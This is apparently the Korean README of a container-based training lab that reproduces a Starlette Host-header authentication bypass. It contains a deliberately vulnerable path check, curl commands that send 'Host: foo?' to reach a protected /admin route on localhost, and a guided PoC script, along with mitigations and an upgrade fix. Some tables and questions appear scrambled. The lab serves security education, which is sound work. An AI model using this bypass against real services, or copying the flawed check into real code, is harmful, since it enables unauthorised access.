
Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710
X41 D-Sec이 공개한 Starlette 인증 우회 취약점을 재현하는 자체 포함형 컨테이너 기반 교육 실습입니다.
>= 0.8.3, < 1.0.1 (실습은 0.37.2로 고정)1.0.1⚠️ 승인된 보안 교육용으로만 사용하세요. 이 앱은 의도적으로 취약하게 설계되었습니다. 외부에서 접근 가능한 네트워크에 배포하지 마십시오.
Starlette는 원시 ASGI scope["path"]를 사용하여 요청을 라우트로 디스패치하지만, request.url은 클라이언트가 제공한 Host 헤더를 "{scheme}://{host}{path}"로 문자열 포맷팅하여 재구성합니다 — RFC 9112 §3.2에 따라 Host 헤더를 검증하지 않습니다. URL 메타문자(?, /, #)가 그대로 통과되기 때문에 공격자는 재구성된 경로가 라우팅된 경로와 다르게 만들 수 있습니다. 라우터가 여전히 보호된 핸들러에 도달하는 동안 request.url.path를 기준으로 작성된 모든 보안 검사는 속임을 당할 수 있습니다.
취약한 미들웨어는 request.url.path가 / 또는 빈 값일 때만 요청을 허용합니다:
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
GET /admin에 대해 Host: foo?를 보냅니다:
| 구성 요소 | 사용되는 값 |
|---|---|
Router (scope["path"]) |
?는 그 뒤의 모든 것을 쿼리 문자열로 바꾸므로 파싱된 경로는 빈 값이 됩니다. 인증은 빈 경로를 보고 통과시키며, 라우터는 여전히 /admin을 제공합니다. 우회 성공.
Docker + Docker Compose가 필요합니다.
docker compose up --build
두 개의 서비스가 시작됩니다:
| 서비스 | URL | 동작 |
|---|---|---|
vulnerable | http://localhost:8000 | 우회 가능 |
fixed | http://localhost:8001 | 완화됨 (두 가지 방식) |
# Blocked normally:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
또는 안내형 PoC 스크립트를 실행합니다:
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
취약한 /admin 핸들러는 혼동이 드러나는 JSON 본문을 반환합니다 — scope_path와 reconstructed_path가 어떻게 다른지 주목하세요:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
fixed/fixed_app.py를 참조하세요. 두 가지 독립적인 완화 조치가 있습니다:
request.url.path 대신 라우터가 사용하는 동일한 원시 경로인 request.scope["path"]를 기준으로 인증 여부를 결정하세요.TrustedHostMiddleware는 애플리케이션 로직이 실행되기 전에 예상치 못한 형식 또는 잘못된 형식의 Host 헤더를 거부합니다. 이는 RFC를 준수하는 리버스 프록시(nginx/Apache)가 업스트림에서 수행하는 동작을 그대로 따릅니다.실제 환경에서의 수정 방법은 간단히 Starlette ≥ 1.0.1로 업그레이드하는 것입니다. 이 버전은 URL 재구성 중에 Host 헤더를 검증합니다.
redirect_uri, 캐시 키, Host로 구성된 비밀번호 재설정 링크.)/admin)이 왜 더 취약할까요? 라우팅이 대소문자를 구분하지 않거나 후행 슬래시 리다이렉션이 있다면 어떻게 될까요?0.0.0.0-day.)starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
/admin → admin() 디스패치 |
request.url | http://foo?/admin |
request.url.path | "" → 인증 검사 통과 ✅ |